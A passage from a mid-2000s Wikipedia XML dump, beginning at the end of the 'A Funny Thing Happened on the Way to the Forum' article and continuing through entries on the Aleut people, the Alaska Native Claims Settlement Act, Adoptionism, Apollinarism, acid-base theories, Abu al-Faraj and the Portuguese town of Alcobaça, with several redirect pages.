*Tintinabula &amp;ndash; A courtesan in the house of Lycus.
*Vibratta &amp;ndash; A courtesan in the house of Lycus.
*Gemini &amp;ndash; Twin courtesans in the house of Lycus.
*Panacea &amp;ndash; A courtesan in the house of Lycus.
*Domina's Mother &amp;ndash; Senex's [[whip]]-wielding mother-in-law (talked of in the play but seen only in the film).

==Songs==

* &quot;Comedy Tonight&quot;--Pseudolus and Company
* &quot;Love, I Hear&quot;--Hero
* &quot;Free&quot;--Pseudolus and Hero
* &quot;The House of Marcus Lycus&quot;--Lycus and Pseudolus
* &quot;Lovely&quot;--Philia and Hero
* &quot;Pretty Little Picture&quot;--Pseudolus, Hero, and Philia
* &quot;Everybody Ought to Have a Maid&quot;--Pseudolus, Senex, Lycus, and Hysterium
* &quot;I'm Calm&quot;--Hysterium
* &quot;Impossible&quot;--Senex and Hero
* &quot;Bring Me My Bride&quot;--Miles Gloriosus and Company
* &quot;That Dirty Old Man&quot;--Domina
* &quot;That'll Show Him&quot;--Philia
* &quot;Lovely&quot; (reprise)--Psedolus and Hysterium
* &quot;Funeral Sequence&quot;--Pseudolus, Miles Gloriosus and Company
* &quot;Finale&quot;--Company

Note: The songs &quot;Love, I Hear&quot;, &quot;Free&quot;, &quot;The House of Marcus Lycus&quot;, &quot;Pretty Little Picture&quot;, &quot;I'm Calm&quot;, &quot;Impossible&quot;, &quot;That Dirty Old Man&quot; and &quot;That'll Show Him&quot; were all cut from the film.

==External links==
*[http://www.stageagent.com/cb/info.pl?title=A%2BFunny%2BThing%2BHappened%2Bon%2Bthe%2BWay%2Bto%2Bthe%2BForum ''A Funny Thing Happened on the Way to the Forum Plot Summary and Character Descriptions''] on [http://www.stageagent.com StageAgent.com] 
*[http://www.ibdb.com/show.asp?ID=1102 ''A Funny Thing Happened on the Way to the Forum''] at the [[Internet Broadway Database]]
*[http://www.imdb.com/title/tt0060438/ ''A Funny Thing Happened on the Way to the Forum''] at the [[Internet Movie Database]]

[[Category:Musicals|Funny Thing Happened on the Way to the Forum, A]]
[[Category:1966 films|Funny Thing Happened on the Way to the Forum, A]]
[[Category:Roman novels|Funny Thing Happened on the Way to the Forum, A]]
[[Category:Films directed by Richard Lester|Funny Thing Happened on the Way to the Forum, A]]</text>
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  </page>
  <page>
    <title>Antenna theory</title>
    <id>3033</id>
    <revision>
      <id>15901403</id>
      <timestamp>2005-05-03T23:55:06Z</timestamp>
      <contributor>
        <username>Jh51681</username>
        <id>71006</id>
      </contributor>
      <comment>redirect to [[Antenna (radio)]]</comment>
      <text xml:space="preserve">#redirect [[Antenna (radio)]]</text>
    </revision>
  </page>
  <page>
    <title>Aleut</title>
    <id>3034</id>
    <revision>
      <id>40456116</id>
      <timestamp>2006-02-20T18:12:36Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca</comment>
      <text xml:space="preserve">{{ethnic group|
|group=Aleut
|image=
|poptime=17,000-18,000
|popplace=[[United States]]&lt;br&gt;17,000 (incl. 5,000 part-Aleut)&lt;br&gt;[[Russia]]&lt;br&gt;700
|rels=[[Christianity]], [[Shamanism]]
|langs=[[English language|English]], [[Russian language|Russian]], [[Aleut language|Aleut]]
|related=[[Inuit]], [[Yupik]]s
}}
The '''Aleuts''' ([[autonym|self-denomination]]: '''Unangax''', '''Unangan''' or '''Unanga''') are the [[Alaska Natives|indigenous people]] of the [[Aleutian Islands]] of [[Alaska]], [[United States|U.S.A.]] and [[Chukotka]], [[Russia]]. 
==Location==
The homeland of the Aleuts includes the Aleutian Islands, the [[Pribilof Islands]], the [[Shumagin Islands]], and the far western part of the [[Alaska Peninsula]].
:''For specific tribal village names, see [[List of Native Alaskan Tribal Entities]].''

==History==
After the arrival of [[missionary|missionaries]] in the late [[18th century]], many Aleuts became [[Christianity|Christians]] by joining the [[Russian Orthodox Church]]. One of the earliest [[Christianity|Christian]] martyrs in [[North America]] was Saint [[Peter the Aleut]].

It has been stated that before the advent of the [[Russia]]ns there were 25,000 Aleuts on the archipelago, but that the barbarities of the traders and foreign diseases eventually reduced the population to one-tenth of this number. Further declines led to a [[1910]] [[Census]] count of 1491 Aleuts.

In [[1942]] Japanese forces occupied [[Attu Island|Attu]] and [[Kiska]] Islands in the western Aleutians, and later transported captive Attu Islanders to [[Hokkaido]], where they were held as [[Prisoner of war|POW]]s. Hundreds more Aleuts from the western chain and the Pribilofs were evacuated by the United States government during [[World War II]] and placed in internment camps in southeast Alaska, where many died. The [[Aleut Restitution Act of 1988]] was an attempt by [[Congress]] to compensate the survivors.

The [[World War II: Aleutian Islands|World War II campaign to retake Attu and Kiska]] was a significant component of the operations of the Asian theater.

==Culture and technology==
[[Image:AleuWinterHouse.jpg|right|thumb|333px|The traditional Aleut winter house, called a barabara or, in Aleut, an ulax.]]
Aleuts constructed ''barabaras'', partially underground houses that functioned well, as [[Lillie McGarvey]], a [[20th-century]] Aleut leader, wrote &amp;#8220;keeping occupants dry from the frequent rains, warm at all times, and snugly sheltered from the high winds peculiar to the area&amp;#8221;. 

[[Hunting]], [[weapon]]-making, [[boat]] building, and weaving are some of the traditional arts of the Aleuts. [[19th-century]] craftsmen were famed for their ornate wooden hunting hats, which feature elaborate and colorful designs and may be trimmed with [[sea lion]] [[vibrissae|whiskers]], feathers, and [[ivory]]. Aleut seamstresses created finely stitched waterproof [[parka]]s from [[seal (mammal)|seal]] gut, and some women still master the skill of [[weaving]] fine baskets from [[rye]] and beach [[grass]].

Aleut [[basketry]] is some of the finest in the world, the continuum of a craft begun in prehistoric times and carried through to the present. Early Aleut women created baskets and woven mats of exceptional technical quality using only an elongated and sharpened thumbnail as tool. Today Aleut weavers continue to produce woven pieces of a remarkable cloth-like texture, works of modern art with roots in ancient tradition. The Aleut word for grass basket is ''qiigam aygaaxsii''.

===Language===
The [[Aleut language]] is in the family called [[Eskimo-Aleut languages]].  It is related to the [[Inuit]] and [[Yupik language|Yupik]] languages spoken by the [[Eskimo]]. It has no known wider affiliation, but supporters of the [[Nostratic]] hypothesis sometimes include it as Nostratic.

==See also==
*[[Eskimo]]
*[[Aleutian tradition]]

==External links==
* [http://beringisland.ru/ Commander Islands, Kamchatka, Russia (in Russian)] - About Commander Islands In Russian
*[http://beringisland.ru/aleuts/aleuts_lang2.shtm Aleut (In Russian)]

*[http://www.amiq.org/ The AMIQ Institute] - a research project documenting the Pribilof Islands and their inhabitants

[[Category:Alaska Native tribes]]

[[ca:Aleuta]]
[[de:Unangan]]
[[et:Aleuudid (rahvas)]]
[[fr:Aléoutes]]
[[ko:알류트족]]
[[lt:Aleutai]]
[[ja:アレウト族]]
[[pl:Aleuci]]
[[pt:Aleutas]]
[[sh:Aleuti (narod)]]
[[fi:Aleutit (kansa)]]</text>
    </revision>
  </page>
  <page>
    <title>Alaska Native Claims Settlement Act</title>
    <id>3035</id>
    <revision>
      <id>32576673</id>
      <timestamp>2005-12-24T08:07:02Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>[[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Alaska history]] → [[Category:History of Alaska]]</comment>
      <text xml:space="preserve">The '''Alaska Native Claims Settlement Act''' was signed into law on [[December 18]], [[1971]], and the largest land claims settlement in United States history was concluded.  The ANCSA, as it is commonly known, did the following:

*[[Alaska Native|Native]] claims to almost all of Alaska were extinguished in exchange for approximately one-ninth of the state's land plus $962.5 million in compensation.
*Of the latter, $462.5 million was to come from the federal treasury and the rest from oil revenue-sharing.
*Settlement benefits would accrue to those with at least one-fourth Native ancestory.
*Of the approximately 80,000 Natives enrolled under ANCSA, those living in villages (approximately 2/3rds of the total) would receive 100 shares in both a village and a regional corporation.
*The remaining 1/3rd would be &quot;at large&quot; shareholders with 100 shares in a [[The 13th Regional Corporation|regional corporation]] plus additional rights to revenue from regional mineral and timber resources.
*The [[Alaska Native Allotment Act]] was revoked and as yet unborn Native children were excluded.
*The twelve regional corporations within the state would administer the settlement.
*A [[The 13th Regional Corporation|thirteenth corporation]] composed of Natives who had left the state would receive monies but not land.
*Surface rights on 44 million acres (178,000,000 km&amp;sup2;) were alloted to the Natives and administered by the Native Corporations.

==The Alaska Native Corporations==
:''Main article at: [[Alaska Native Regional Corporations]]''
The following thirteen regional corporations were established:
*[[Ahtna Incorporated]]
*[[Aleut Corporation]]
*[[Arctic Slope Regional Corporation]]
*[[Bering Straits Native Corporation]]
*[[Bristol Bay Native Corporation]]
*[[Calista]]
*[[Chugach Alaska Corporation]]
*[[Cook Inlet Region, Inc.]]
*[[Doyon, Limited]]
*[[Koniag, Inc.]]
*[[Nana Corporation]]
*[[Sealaska Corporation]]
*[[The 13th Regional Corporation]]

Also, most of these corporations set up nonprofit corporations of their own. Many separate village corporations were also created by the Act.

Land selection by the State of Alaska under the Statehood Act and for the regional and village corporations has continued through the present.

==External links==
*[http://www.lbblawyers.com/ancsa.htm The Alaska Native Claims Settlement Act Resource Center] run by [http://www.landye-bennett.com/ Landye Bennett Blumstein LLP].

[[Category:1971 in law]]
[[Category:Alaska Natives]]
[[Category:History of Alaska]]
[[Category:United States federal legislation]]
[[Category:United States public land law]]</text>
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  </page>
  <page>
    <title>Adoptionism</title>
    <id>3036</id>
    <revision>
      <id>42123753</id>
      <timestamp>2006-03-03T23:52:18Z</timestamp>
      <contributor>
        <username>Andrew c</username>
        <id>704413</id>
      </contributor>
      <comment>cleanup, merged adoptianism</comment>
      <text xml:space="preserve">'''Adoptionism''', or adoptianism, is a view held by some early medieval [[Christianity|Christians]], that claims [[Jesus]] was born human, and later became divine during his [[baptism]], at which point he became the '''adopted''' son of God. Adoptionism held that in his divinity [[Christ]] was the son of God by nature, but in his humanity by adoption only.

It is one of two main forms of [[monarchianism]]; the other is [[modalism]], which regards &quot;Father&quot; and &quot;Son&quot; as two aspects of the same subject,. Adoptionism held that Christ as God is indeed the Son of God by generation and by nature, but Christ as man is Son of God only by adoption and grace, dispensed from the moment of his baptism. This position was one in a long series of Christian disagreements about the precise nature of Christ (see [[Christology]]) in the developing dogma of the [[Trinity]&amp;#8212;, an attempt to explain the relationship between Jesus Christ, both as man and God and God the Father, while maintaining Christianity's [[monotheism]]. It differs significantly from the doctrine of the [[Trinity]] that was later accepted by the [[ecumenical council]]s.

There were three waves of Adoptionist speculation. In ''The Orthodox Corruption of Scripture'' [[Bart D. Ehrman]] argues that the adoptionist view may date back almost to the time of [[Jesus]]. One of the early known exponents of Adoptionism was [[Theodotus of Byzantium]]. Also during the second century, [[Paul of Samosata]] and the followers of [[Monarchianism]] expressed similar views. The belief was declared [[heresy|heretical]] by [[Pope Victor I]]. 

The second movement of adoptionism, called ''Hispanicus error,'' in the late 8th century maintained by Elipandus, bishop of [[Toledo, Spain|Toledo]] in the [[Caliph of Cordoba|Caliphate of Cordoba]] and by Felix, bishop of [[Urgell]] in the foothills of the Pyrenees; [[Alcuin]], the leading intellect at the court of Charlemagne was called in to write refutations against both of the bishops. Against Felix he wrote:
:&quot;As the [[Nestorian]] impiety divided Christ into two persons because of the two natures, so your unlearned temerity divided Him into two sons, one natural and one adoptive&quot;  
The doctrine condemned as heresy by the Council of Frankfurt (794). 

A third wave was the revived form (&quot;Neo-Adoptionism&quot;) of [[Abelard]] in the 12th century. Later, various modified and qualified Adoptionist tenets of some theologians from the 14th century. 

==References==
*{{1911}}

==See also==
*[[Adoptivi]]
*[[Binitarianism]]

==External links==
*[http://www.newadvent.org/cathen/01150a.htm ''Catholic Encyclopedia'':] Adoptionism, from a Roman perspective.

[[Category:Christianity]]
[[Category:Christian philosophy]]
[[Category:Christian theology]]
[[Category:Heresy]]
[[Category:Jesus]]

[[ca:Adopcionisme]]
[[cs:Adopcionismus]]
[[es:Adopcionismo]]
[[eo:Adoptismo]]
[[gl:Adopcionismo]]
[[ia:Adoptionismo]]
[[it:Adozionismo]]
[[ja:養子的キリスト論]]</text>
    </revision>
  </page>
  <page>
    <title>Apollinarism</title>
    <id>3037</id>
    <revision>
      <id>35920390</id>
      <timestamp>2006-01-20T06:09:15Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>ext link</comment>
      <text xml:space="preserve">'''Apollinarism''' or '''Apollinarianism''' was a view proposed by [[Apollinaris of Laodicea]] that  [[Jesus]] had a [[human]] body but a [[God|divine]] mind. Apollinaris further taught that the [[soul]]s of men were propagated by other souls, as well as their bodies. [[Theodoret]] charged him with confounding the persons of the [[Godhead]], and with giving into the heretical ways of [[Sabellius]]. [[Basil]] accused him of abandoning the literal sense of the scripture, and taking up wholly with the allegorical sense.

This heresy was very subtile; it was condemned in a [[Synod]] at [[Alexandria]], under [[Athanasius of Alexandria|St. Athanasius]], in [[362]]. It was subdivided into several different heresies, the chief whereof were the [[Polemian]]s and the [[Antidicomarianite]]s.

It was declared to be a [[heresy]] in [[381]] by the [[First Council of Constantinople]], since Christ was officially depicted as fully human and fully [[God]].  Followers of Apollinarianism were accused of attempting to create a [[tertium quid]].

==References==
*{{1728}} [http://digicoll.library.wisc.edu/cgi-bin/HistSciTech/HistSciTech-idx?type=turn&amp;entity=HistSciTech000900240157&amp;isize=L]

==External links==
*[http://www.newadvent.org/cathen/01615b.htm Catholic Encyclopedia entry]

[[Category:Ancient Roman Christianity]]
[[Category:Christian theology]]
[[Category:Heresy]]

[[cs:Apollinarismus]]
[[de:Apollinarianismus]]
[[eo:Apolinarismo]]
[[gl:Apolinarismo]]
[[ia:Apollinarismo]]
[[id:Apolinarisme]]
[[nl:Apollinarisme]]</text>
    </revision>
  </page>
  <page>
    <title>Acid-base reaction theories</title>
    <id>3038</id>
    <revision>
      <id>41174176</id>
      <timestamp>2006-02-25T15:13:33Z</timestamp>
      <contributor>
        <username>Grogono</username>
        <id>989891</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Acids_and_Bases}}

An '''acid-base reaction''' is a [[chemical reaction]] between an [[acid]] and a [[base (chemistry)|base]].

==Common acid-base theories==

=== Lavoisier's definition ===
The first scientific definition was proposed by the [[France|French]] [[chemist]] [[Antoine Lavoisier]].

Since Lavoisier's knowledge of strong acids was mainly restricted to [[oxoacid]]s, which tend to contain central atoms in high [[oxidation number|oxidation states]] surrounded by oxygen, such as [[Nitric acid|HNO&lt;sub&gt;3&lt;/sub&gt;]] and [[Sulfuric acid|H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;]], and since he was not aware of the true composition of the hydrohalic acids, HCl, HBr, and HI, he defined acids in terms of their containing ''[[oxygen]]'', which in fact he named from Greek words meaning &quot;acid-former&quot;. When the elements [[chlorine]], [[bromine]], and [[iodine]] were identified and the absence of oxygen in the hydrohalic acids was established by Sir [[Humphry Davy]] in 1810, this definition had to be rejected.

=== The Arrhenius definition ===

[[Svante Arrhenius]] provided the first modern definition of acids and bases in [[1884]]. In [[water (molecule)|water]], a [[dissociation constant|dissociation]] takes place:

:2H&lt;sub&gt;2&lt;/sub&gt;O &amp;harr; H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt; + OH&lt;sup&gt;-&lt;/sup&gt;

A compound causing an increase in  H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt; and a decrease in OH&lt;sup&gt;-&lt;/sup&gt; is an '''acid''' and one causing the reverse is a '''base'''.

An Arrhenius '''acid''', when dissociated in water, typically yields a positively-[[electric charge|charged]] [[hydronium]] ion and a complementary negative [[ion]].  

An Arrhenius '''base''', when dissociated in water, typically yields a negatively-[[electric charge|charged]] [[hydroxide]] ion and a complementary positive [[ion]].  

The positive ion from a base can form a salt with the negative ion from an acid.  For example, two [[mole (unit)|mole]]s of the base [[sodium hydroxide]] (NaOH) can combine with one mole of sulfuric acid (H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;) to form two moles of [[water]] and one mole of sodium [[sulfate]].

:2NaOH + H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt; &amp;rarr; 2H&lt;sub&gt;2&lt;/sub&gt;O + Na&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;

=== The protonic (Brønsted-Lowry) definition ===

The Brønsted-Lowry definition, formulated independently by its two proponents [[Johannes Nicolaus Brønsted]] and [[Martin Lowry]] in [[1923]], revolves around an [[acid]]'s ability to donate [[proton (physics)|protons]] (H&lt;sup&gt;+&lt;/sup&gt;) to another compound, called a [[Base (chemistry)|base]], in a chemical reaction. 

A base is a [[proton (physics)|proton]] acceptor. In Brønsted-Lowry acid-base reactions, there is a &quot;competition&quot; between two bases for a proton, so that if '''X''' and '''Y''' are two species, the equilibrium

:HX + Y&lt;sup&gt;-&lt;/sup&gt; &amp;harr; HY + X&lt;sup&gt;-&lt;/sup&gt;

occurs. Both HX and HY are Brønsted-Lowry acids; both X&lt;sup&gt;-&lt;/sup&gt; and Y&lt;sup&gt;-&lt;/sup&gt; are Brønsted-Lowry bases. If the reaction runs mostly to the left, then HY is the stronger acid and X&lt;sup&gt;-&lt;/sup&gt; the stronger base; if the reaction runs mostly to the right, then HX is the stronger acid and Y&lt;sup&gt;-&lt;/sup&gt; the stronger base.

It may be more intuitive to define the stronger of two acids as the one which reacts more completely with a common base.  The following shows that this definition gives the same result.  Compare the reactions of the two acids HX and HY with the same base Z&lt;sup&gt;-&lt;/sup&gt; (in a mixture containing all these species):
:HX + Z&lt;sup&gt;-&lt;/sup&gt; &amp;harr; HZ + X&lt;sup&gt;-&lt;/sup&gt;
:HY + Z&lt;sup&gt;-&lt;/sup&gt; &amp;harr; HZ + Y&lt;sup&gt;-&lt;/sup&gt;
If these reactions have equilibrium constants K&lt;sub&gt;X&lt;/sub&gt; and K&lt;sub&gt;Y&lt;/sub&gt; respectively, then:
:[X&lt;sup&gt;-&lt;/sup&gt;][HZ] / [HX][Z&lt;sup&gt;-&lt;/sup&gt;]=K&lt;sub&gt;X&lt;/sub&gt;
:[Y&lt;sup&gt;-&lt;/sup&gt;][HZ] / [HY][Z&lt;sup&gt;-&lt;/sup&gt;]=K&lt;sub&gt;Y&lt;/sub&gt;
and hence (dividing):
:[X&lt;sup&gt;-&lt;/sup&gt;][HY] / [HX][Y&lt;sup&gt;-&lt;/sup&gt;] = K&lt;sub&gt;X&lt;/sub&gt; / K&lt;sub&gt;Y&lt;/sub&gt; 

Given that this last quantity is the equilibrium constant for the above reaction, the reaction will tend to the right if K&lt;sub&gt;X&lt;/sub&gt;&amp;nbsp;/&amp;nbsp;K&lt;sub&gt;Y&lt;/sub&gt;&amp;nbsp;&amp;gt;&amp;nbsp;1, in other words if HX is a stronger acid than HY under this definition, and ''vice versa''.

Acids and bases in the Brønsted-Lowry system occur in '''conjugate pairs'''; in the reaction 

:HX &amp;rarr;  H&lt;sup&gt;+&lt;/sup&gt; + X&lt;sup&gt;-&lt;/sup&gt;

'''HX''' is called the [[conjugate acid]] of the base '''X&lt;sup&gt;-&lt;/sup&gt;''', and '''X&lt;sup&gt;-&lt;/sup&gt;'''  is called the [[conjugate base]] of the acid '''HX'''. 

Some compounds, like [[water]], can act either as an acid or a base, and are called amphoteric compounds.  

Stronger acids typically oxidize metals, forming salts and releasing hydrogen.

See [[pH]] for a measure of proton concentration frequently used for measuring acidity and alkalinity using this definition.  For a list of conjugate acid-base pairs, see [[conjugate acid]].

=== The solvent-system definition ===

This definition is based on a generalization of the earlier Arrhenius definition. If we consider a solvent which can be dissociated into a positive species '''X''' and a negative species '''Y''':

: XY &amp;harr; X&lt;sup&gt;+&lt;/sup&gt; + Y&lt;sup&gt;-&lt;/sup&gt;
or
: 2XY &amp;harr; X&lt;sub&gt;2&lt;/sub&gt;Y&lt;sup&gt;+&lt;/sup&gt; + Y&lt;sup&gt;-&lt;/sup&gt; 
or
: 2XY &amp;harr; X&lt;sup&gt;+&lt;/sup&gt; + XY&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt; 

a compound causing an increase in  X&lt;sup&gt;+&lt;/sup&gt;  (or X&lt;sub&gt;2&lt;/sub&gt;Y&lt;sup&gt;+&lt;/sup&gt;) and a decrease in Y&lt;sup&gt;-&lt;/sup&gt; (or XY&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt;) is an '''acid''' and one causing the reverse is a '''base'''. For example  in liquid [[sulfur dioxide]] (SO&lt;sub&gt;2&lt;/sub&gt;), [[thionyl]] compounds (formally supplying SO&lt;sup&gt;2+&lt;/sup&gt;) behave as acids, and [[sulfites]] (supplying SO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt;) behave as bases.

In this more general sense, aprotic compounds (those which do not donate protons), can still react with bases, and the terms &quot;acid&quot; and &quot;base&quot; can still be used for reactions in aprotic or non-aqueous environments. 

=== The [[electron]]ic (Lewis) definition ===

The more general definition offered by [[Gilbert N. Lewis|Lewis]] in [[1923]] (the same year as the Brønsted-Lowry definition) describes the reactivity of an acid in terms of its ability to accept a pair of electrons from a base, defined as an electron-pair donor. In general, an acid reacts with a base by forming a new [[covalent bond]] utilizing an empty [[Electron configuration|orbital]] of the acid to share the extra electron pair of the base. Such a covalent bond, in which both of the shared electrons originate from one of the reacting molecules, is known as a [[coordinate covalent bond]].  From the perspective of Molecular Orbital theory, an acid-base reaction is the combination of [[HOMO]] from base and [[LUMO]] from acid to form a stable bonding [[molecular orbital]].

The Lewis definition is one of the most broad definitions and is necessary for an understanding of acid-base reactions, although the Brønsted-Lowry definition is sufficient and more practical for most cases in everyday use.

==Other acid-base theories==

=== The Usanovich definition ===

The most general definition is that of the Russian chemist Usanovich, and can basically be summarized as defining an acid as anything that accepts negative species or donates positive ones, and a base as the reverse. This tends to overlap the concept of [[redox]] ([[oxidation]]-[[reduction]]), and so is not highly favored by chemists. This is because redox reactions focus more on physical electron transfer processes, rather than bond making/bond breaking processes, although the distinction between these two processes is somewhat ambiguous.

==See also==
* [[HSAB concept]]
* [[Electron configuration]]

[[Category:Acid-bases]]

[[ko:산·염기 반응 이론]]
[[su:Téori réaksi asam-basa]]

==External links==
*[http://www.acid-base.com Acid-Base Tutorial]</text>
    </revision>
  </page>
  <page>
    <title>Abednego</title>
    <id>3039</id>
    <revision>
      <id>33361833</id>
      <timestamp>2005-12-31T09:24:03Z</timestamp>
      <contributor>
        <username>Tetraminoe</username>
        <id>182015</id>
      </contributor>
      <comment>blanking page, redirect to [[Fiery furnace]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fiery furnace]]</text>
    </revision>
  </page>
  <page>
    <title>Abu al-Faraj</title>
    <id>3040</id>
    <revision>
      <id>27958426</id>
      <timestamp>2005-11-10T21:25:00Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">:''[[Abul-Faraj]] ([[1226]]-[[1286]]) was also a learned [[Armenia]]n [[Jew]], who became [[bishop]] of [[Aleppo]], and wrote a history of the world from [[Adam and Eve|Adam]] onwards.''

'''Abulfaraj''', also known as '''Abu-l-Faraj''' or '''`Ali ibn al-Husayn ul-Isbahani''', ([[897]]-[[967]]) was an [[Arab]] scholar, a member of the tribe of the [[Quraysh]] and a direct descendant of the last of the [[Umayyad]] [[caliph]]s, [[Marwan II]].

He was thus connected with the Umayyad rulers in [[Spain]], and seems to have kept up a correspondence with them and to have sent them some of his works. 

He was born in [[Isfahan (city)|Isfahan]], but spent his youth and made his early studies in [[Baghdad]].  He became famous for his knowledge of early Arabian antiquities.  

His later life was spent in various parts of the Islamic world, in [[Aleppo]] with its governor [[Hamdanid Dynasty|Sayf ad-Dawlah]] (to whom he dedicated the ''Book of Songs''), in [[Ray, Iran|Ray]] with the [[Buwayhid]] [[vizier]] [[Ibn 'Abbad]], and elsewhere. 

Although he wrote [[poetry]], also an anthology of verses on the [[monastery|monasteries]] of [[Mesopotamia]] and [[Egypt]], and a genealogical work, his fame rests upon his ''Book of Songs'' (''Kitab al-Aghani''), which gives an account of the chief Arabian songs, ancient and modern, with the stories of the composers and singers. It contains a mass of information as to the life and customs of the early Arabs, and is the most valuable authority we have for their pre-Islamic and early Islamic days.

==References==
*{{1911}}

[[Category:Arabic poets|Faraj]]
[[Category:897 births|Faraj]]
[[Category:967 deaths|Faraj]]</text>
    </revision>
  </page>
  <page>
    <title>Acamthocephala</title>
    <id>3041</id>
    <revision>
      <id>15901411</id>
      <timestamp>2002-07-09T18:55:39Z</timestamp>
      <contributor>
        <username>PierreAbbat</username>
        <id>1123</id>
      </contributor>
      <comment>redirect to correct spelling</comment>
      <text xml:space="preserve">#redirect [[Acanthocephala]]</text>
    </revision>
  </page>
  <page>
    <title>Alcobaca</title>
    <id>3042</id>
    <revision>
      <id>15901412</id>
      <timestamp>2003-10-19T00:45:01Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Alcobaça]]</text>
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  <page>
    <title>Alcobaça</title>
    <id>3043</id>
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      <id>38601202</id>
      <timestamp>2006-02-07T11:20:05Z</timestamp>
      <contributor>
        <username>Vitor107</username>
        <id>877602</id>
      </contributor>
      <comment>/* Useful facts */</comment>
      <text xml:space="preserve">[[image:ACB1.png|thumb|Coat of Arms]]
'''Alcobaça''' ([[Pronunciation|pron.]] [[IPA]] /{{IPA|aɫ.ku.'βa.sɐ}}/)  is in the district of [[Leiria]], in [[Portugal]] (though formerly included in the province of [[Estremadura]]), on the Alcoa and Baça rivers, from which it derives its name.  

Alcobaça grew along the valleys of the rivers Alcoa and Baça.

== Introduction ==

A town that only became notable in the [[12th century]] when it became the site for the important construction of [[Portugal| Portugal’s]] largest church. In the month of March in [[1147]] the fledgling King, Dom [[Afonso Henriques]], defeated the Moors by capturing the town of [[Santarém]]. As a suitable memory to this splendid victory he vowed to build a magnificent home for the [[Cistercian|Order of Cistercians]]. It took another 76 years before this task was completed. The [[monarchy]] continued to endow the [[Monastery]] with further construction and 60 years later King Dinis built the main cloister but it was only in [[1252]] that the [[Monastery]] was inaugurated within the [[church]]. In the [[church]] are the tombs of [[King Peter I]] and his murdered mistress Inês de Castro and with it the story of the tragic liaison between Pedro and his ever-lasting love for Inês. Forced at an early age by royal duty he had to marry Constanza, the Infanta of Castile. She died within a short time of the marriage ceremony and created the opportunity for Dom Pedro to escape with his true love and live in the city of Coimbra. King Afonso IV his father, believing that the family of Inês to be a threat to his own kingdom had her murdered. Shortly after the death of his father Dom Pedro declared that he had married Inês in a prior secret ceremony in Bragança, promptly taking revenge on the killers in a very gruesome manner and exhumed her body. He presented the embalmed corpse at court with a crown on her head and demanded that all his courtiers kneel and individually pay homage to her decomposed hand. Today, their ornate tombs face each other so that on the Judgment Day his first sight would be of his beloved Inês. During the following centuries the monks from this monastery had an influencing effect on Portuguese culture. Notably, in [[1269]] they were the first to give public lessons to their flock, and later they produced the authoritative history on Portugal in a series of books. In [[1810]] the invading French pillaged the Abbey taking with them most of the many treasures including a noteworthy library. Whatever the items remaining were then later stolen in [[1834]] during an anti-clerical riot and the extinction of religious Orders in Portugal.
[[image:Alcobaca_fountain.jpg|thumb|Fountain house at Alcobaça monastery]]

== Description ==

The main feature of the town is essentially the Abbey that proudly presents a long and sombre façade with 18th Century embellishments. This austerity is further emphasized in the cloisters with its apt name of “Cloister of Silence”. In contrast within the Abbey is the massive kitchen with a running stream specially diverted to pass through as a supply of fresh water. The open area of the kitchen chimney is large enough to take a whole ox for roasting. The surround to the sacristy doorway is an outstanding example of Manueline decoration. In [[1794]], Lord Beckford visited the Abbey and commented that he found some 300 monks “living in a very splendid manner”!


== Nearby locations ==

A few kilometers to the north of Alcobaça is another wondrous building constructed in memory of a different important battle, that of Aljubarrota in [[1385]], when Dom João I defeated the Castilians and ensuring two hundred years of independence from the Spanish invaders. The construction of the Abbey at Batalha commenced in [[1388]] and was added to by various Portuguese Kings over these next two centuries. To the east of Batalha is the world famous location of Fátima and a point of pilgrimage for the Roman Catholic religion due to the vision of the Virgin Mary in [[1917]] by three young children whilst tending their flock. To the west of Alcobaça is the well-known fishing village of Nazaré. Today, the village is now a small town and a popular holiday resort with most of its past and traditions having rapidly evaporated in the course of time. A very successful Portuguese feature film was made in the early 20th Century that dramatically captured the primitive and dangerous life of these fishermen. Stoutly Catholic, the inhabitants have retained some of their past as can be still seen in their own particular style of costume. To the south is Caldas da Rainha and the quaint medieval town of Óbidos that is an attraction for any tourists that enjoys a true glimpse of the past. Also to the south is the town of Porto de Mós with its fanciful rebuilt castle. This town borders the Nature Reserve Parque Natural das Serras de Aire e Candeeiros. These 390 square kilometres of limestone-covered landscape is also known for its underground caverns. The most well known being the Grutas de Mira de Aire can be visited and consists of tunnels, caverns with stalactites, stalagmites, lakes, and a music and light finale.

== Events ==
Festival de Musica May
Feira de São Bernardo 20th August
Town holiday 20th August
Feira de São Simão 4th week of October
Market day: Every Monday

== Telephone numbers ==

Town Hall +351 262 598 174
Fire brigade +351 262 598 598 
Police  +351 262 595 400 
SOS 112 
Support to tourists 800 296 296 
Railways (CP) - www.cp.pt 808 208 208 

== Useful facts ==
 
Postal code 2460
Altitude 42 m
Council inhabitants 85.100 
City    inhabitants 16.230
Distances Lisbon - 109 km
Santarém - 59 km

[http://www.flickr.com/photos/vitor107/sets/1419475/ Photos from ALCOBAÇA]


{{Municipalities of Leiria}}
[[Category:Cities in Portugal]]
[[Category:Municipalities of Portugal]]

[[de:Alcobaça (Portugal)]]
[[pt:Alcobaça (Portugal)]]
[[ro:Alcobaça]]</text>
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  </page>
